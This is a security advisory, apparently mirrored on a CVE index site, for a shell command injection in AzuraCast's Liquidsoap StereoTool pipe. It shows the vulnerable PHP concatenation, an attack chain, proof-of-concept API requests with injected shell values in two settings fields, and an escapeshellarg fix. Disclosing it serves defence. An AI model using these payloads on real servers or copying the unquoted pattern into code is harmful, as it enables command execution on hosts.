GHSA-C45C-WRCP-22FX
Shell command injection in StereoTool Liquidsoap pipe() via stereo_tool_license_key and stereo_tool_configuration_path
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-C45C-WRCP-22FX divulgada · CVSS 8.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
AzuraCast's Liquidsoap config writer builds a shell command string from two attacker-controlled fields — `stereo_tool_license_key` and `stereo_tool_configuration_path` — and injects it into a Liquidsoap `pipe()` operator whose `process=` argument is executed via `/bin/sh -c` (OCaml `Unix.open_process_full`). A station user with the standard `Profile` permission can achieve OS command execution as the AzuraCast/Liquidsoap process user on any station whose backend has StereoTool installed.
This is a distinct sink from the existing advisories:
- `GHSA-73rf-jp3g-8rcf` (live-recording `process.run`) — different sink
- `GHSA-q8wg-3qg7-8pc7`, `GHSA-q4ph-8x8g-95f8`, `GHSA-93fx-5qgc-wr38` — Liquidsoap-level `#{...}` interpolation, fixed via `toRawString()`. `toRawString()` does NOT escape shell metacharacters, so it is irrelevant here.
Root Cause
`backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php` (~lines 1018-1035) concatenates user input directly into a shell command and wraps only in `toRawString()`:
$stereoToolConfiguration = $station->getRadioConfigDir()
. DIRECTORY_SEPARATOR . $settings->stereo_tool_configuration_path;
if (is_file($stereoToolBinary)) {
$stereoToolProcess = $stereoToolBinary . ' --silent - - -s ' . $stereoToolConfiguration;
if (!empty($stereoToolLicenseKey)) {
$stereoToolProcess .= ' -k "' . $stereoToolLicenseKey . '"';
}
$stereoToolProcessString = self::toRawString($stereoToolProcess);
$event->appendBlock(<<<LIQ
# Stereo Tool Pipe
radio = pipe(replay_delay=1.0, process={$stereoToolProcessString}, radio)
LIQ);
}`toRawString()` (ConfigWriter.php ~line 1362) wraps in a random `{str_xxxxx|...|str_xxxxx}` heredoc and only strips the closing delimiter — it does not escape `"`, `;`, `$`, backticks, `|`, `&`, or any shell metacharacter. Liquidsoap's `pipe(process=...)` calls `Process_handler.run` → `open_process` → `Unix.open_process_full`, which per the OCaml stdlib invokes `/bin/sh -c <cmd>`.
`Types::stringOrNull($value, true)` on the setters (`StationBackendConfiguration.php` lines 149-156) only trims whitespace; no character filtering.
Impact
Full OS command execution as the AzuraCast/Liquidsoap user on the container/host, on any station where StereoTool is installed and configured. This grants read/write/destroy of AzuraCast data (media library, station configs, cached credentials for external services) and typically full container compromise.
Attack Chain
- Entry: `PUT /api/station/{id}/profile/edit` with body `{"backend_config": {"audio_processing_method": "stereo_tool", "stereo_tool_configuration_path": "x ; id > /tmp/pwned ;#"}}` (or similarly weaponised `stereo_tool_license_key`).
- Guard: `StationPermissions::Profile` middleware (`api_station.php:188`).
- Bypass: Any station role with `Profile` permission passes (not admin-only).
- Storage: `StationBackendConfiguration::stereo_tool_configuration_path` setter (lines 154-156).
- Guard: `Types::stringOrNull($value, true)` — whitespace trim only.
- Bypass: No metacharacter filter; payload persists verbatim.
- Readiness: `StereoTool::isReady()` — requires `isInstalled()` AND `!empty(stereo_tool_configuration_path)`.
- Guard: Precondition — the StereoTool binary must be installed. `isReady()` does NOT check that the path resolves to a real file.
- Concat (config path): `ConfigWriter.php:1024` — `$stereoToolBinary . ' --silent - - -s ' . $stereoToolConfiguration` (no quoting).
- Result: `/…/stereo_tool --silent - - -s /…/config/x ; id > /tmp/pwned ;#`
- Concat (license key): `ConfigWriter.php:1027` — `.= ' -k "' . $licenseKey . '"'`.
- Attacker can break out of double quotes with `" ; id ; echo "`.
- Wrap: `toRawString($stereoToolProcess)` produces `{str_xxxxx|<raw shell command>|str_xxxxx}`.
- Guard: Prevents Liquidsoap `#{...}` interpolation only.
- Bypass: Shell metacharacters pass through unmodified.
- Sink: `pipe(replay_delay=1.0, process={str_xxxxx|…|str_xxxxx}, radio)` → Liquidsoap `Process_handler.run` → `Unix.open_process_full` → `/bin/sh -c <cmd>`.
- Impact: Arbitrary command execution as the Liquidsoap process user on station (re)start.
Bypass Evidence
- `toRawString()` implementation (`ConfigWriter.php` ~lines 1362-1373) does one `str_replace($endString, '', $value)` and no metacharacter escaping — verified in source at tag `0.23.8`.
- OCaml `Unix.open_process_full` invokes `/bin/sh -c` (documented stdlib behaviour; verified in Liquidsoap `process_handler.ml:48-49`, called from `pipe.ml:257`).
- `Types::stringOrNull($value, true)` in `StationBackendConfiguration.php:150,155` is a whitespace-trim; no deny-list.
- Vulnerable code present on the latest release tag `0.23.8` (verified: `git show 0.23.8:backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php`).
Proof of Concept
Prerequisite: StereoTool binary present at `<parent>/storage/stereo_tool/stereo_tool` (installed via the built-in Services → StereoTool workflow), attacker has API key with `StationPermissions::Profile` on the target station.
PUT /api/station/{id}/profile/edit
Authorization: Bearer <api-key>
Content-Type: application/json
{
"backend_config": {
"audio_processing_method": "stereo_tool",
"stereo_tool_configuration_path": "x ; id > /tmp/pwned ;#",
"stereo_tool_license_key": ""
}
}Restart the station backend (or wait for a config regeneration). Observe `/tmp/pwned` created in the AzuraCast/Liquidsoap container as the process user.
Equivalent PoC via `stereo_tool_license_key`:
{
"backend_config": {
"audio_processing_method": "stereo_tool",
"stereo_tool_configuration_path": "stereo-tool.sts",
"stereo_tool_license_key": "" ; id > /tmp/pwned ; echo ""
}
}Affected Versions
`<= 0.23.8` (latest release at time of report). Vulnerable code verified present on tag `0.23.8` and on `main` (HEAD `66adc460`).
Suggested Fix
Either:
- Restructure to avoid `/bin/sh -c`: use Liquidsoap's `process=` array-form or `execve` operator that takes an explicit argv list (no shell), OR
- Shell-escape each user-controlled component with `escapeshellarg()` before concatenation:
$stereoToolConfiguration = escapeshellarg(
$station->getRadioConfigDir() . DIRECTORY_SEPARATOR . $settings->stereo_tool_configuration_path
);
$stereoToolProcess = $stereoToolBinary . ' --silent - - -s ' . $stereoToolConfiguration;
if (!empty($stereoToolLicenseKey)) {
$stereoToolProcess .= ' -k ' . escapeshellarg($stereoToolLicenseKey);
}Additionally recommended: reject shell metacharacters at the setter level for these two fields (`stereo_tool_configuration_path`, `stereo_tool_license_key`), and validate `stereo_tool_configuration_path` resolves under the station config directory (defence-in-depth against traversal).
Credit
zx (Jace) — GitHub: @manus-use
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistazuracast/azuracast |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-c45c-wrcp-22fxLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
